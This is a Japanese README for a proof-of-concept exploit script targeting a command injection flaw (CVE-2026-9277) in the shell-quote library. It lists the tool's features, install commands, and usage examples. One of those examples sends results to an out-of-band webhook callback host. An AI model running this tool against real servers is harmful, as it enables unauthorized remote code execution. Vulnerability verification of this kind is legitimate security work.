CVE-2026-9277 - Shell-Quote コマンドインジェクションエクスプロイト

shell-quote ライブラリのレガシーバージョン（<= 1.8.3）に存在する構造的コマンドインジェクションの脆弱性である CVE-2026-9277 を検証および実証するために設計された、専用の Proof of Concept（PoC）エクスプロイトスクリプトです。

本スキャナは、入力された JSON ペイロードに対して深い構造的操作を実行し、再帰的トラバーサルを介してリモートコード実行（RCE）ベクトルを露呈させます。動的ネットワークベースラインタイミングエンジンを使用することで、誤検知を防止します。

主な機能

• 再帰的 JSON トラバーサル： 多層ネストされた JSON 構造や GraphQL 類似の構成内に隠されたターゲット配列を自動的に検出し、改変します。
• 組合せ変異マトリクス： 特定のインデックス挿入、リスト全体の上書き、分散した配列ペアなど、高度な配列操作シナリオをテストします。
• 自動化 OOB アーキテクチャ： {"op": "..."} コンポーネントを引数から分離することで高度な Out-of-Band 実行レイアウトを処理し、文字列分離制御を正常にバイパスします。
• ゼロノイズロギング： 破損した、または悪用不可能な 500 Internal Server Error レスポンスを除外し、検証済みのエビデンスのみを抽出するサイレント実行エンジンです。

インストールとセットアップ

Python 3.10+ と必要なパッケージがインストールされていることを確認してください：

git clone https://github.com/DylanZahedi/CVE-2026-9277.git
cd CVE-2026-9277
pip install requests urllib3

実行例

例1: 出力リークを伴うローカルスキャン

python CVE-2026-9277.py -u "https://example.com/command" -b '{"message_tokens": ["Hello", "from", "normal user"]}'

例2: ネストされた辞書構造を使用した Out-of-Band（OOB）テスト

python CVE-2026-9277.py -u "https://example.com/command" -b '{"user": {"commands": ["a", "b"]}}' -w "https://webhook.site/your-uuid-here"